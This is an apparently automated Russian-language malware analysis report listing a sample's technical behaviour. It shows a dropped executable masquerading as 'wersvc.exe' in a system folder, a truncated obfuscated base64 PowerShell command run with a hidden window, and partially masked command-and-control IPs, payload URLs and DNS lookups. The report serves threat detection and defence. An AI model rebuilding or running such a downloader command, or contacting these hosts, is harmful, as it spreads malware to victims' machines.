Техническая информация
- 'wersvc' "<SYSTEM32>\catsrvps\wersvc.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABIADkAMQBlADUAcgByAD0AKAAnAEwAJwArACcAZwBkACcAKwAoACcAZABsACcAKwAnAGIAbQAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgB2ADoAdQBzAGUAcgBQAHIAbwBmAEkATABFAFwAUAAwAE...
- %HOMEPATH%\p0btst0\n34vr3o\f3j2mdem1.exe
- <SYSTEM32>\catsrvps\wersvc.exe
- %HOMEPATH%\p0btst0\n34vr3o\f3j2mdem1.exe в <SYSTEM32>\catsrvps\wersvc.exe
- '11#.#10.236.121':8080
- '14#.#02.5.139':443
- http://ol###aterlik.de/live/wjeos17/
- http://14#.##2.5.139:443/wEgjsg1W7q/qwHE9V82C9xg4WsCx/BZcN01FBx/ via 14#.#02.5.139
- DNS ASK da######ertecnologia.com.br
- DNS ASK ol###aterlik.de
- '%HOMEPATH%\p0btst0\n34vr3o\f3j2mdem1.exe'
- '<SYSTEM32>\catsrvps\wersvc.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABIADkAMQBlADUAcgByAD0AKAAnAEwAJwArACcAZwBkACcAKwAoACcAZABsACcAKwAnAGIAbQAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgB2ADoAdQBzAGUAcgBQAHIAbwBmAEkATABFAFwAUAAwAE...' (со скрытым окном)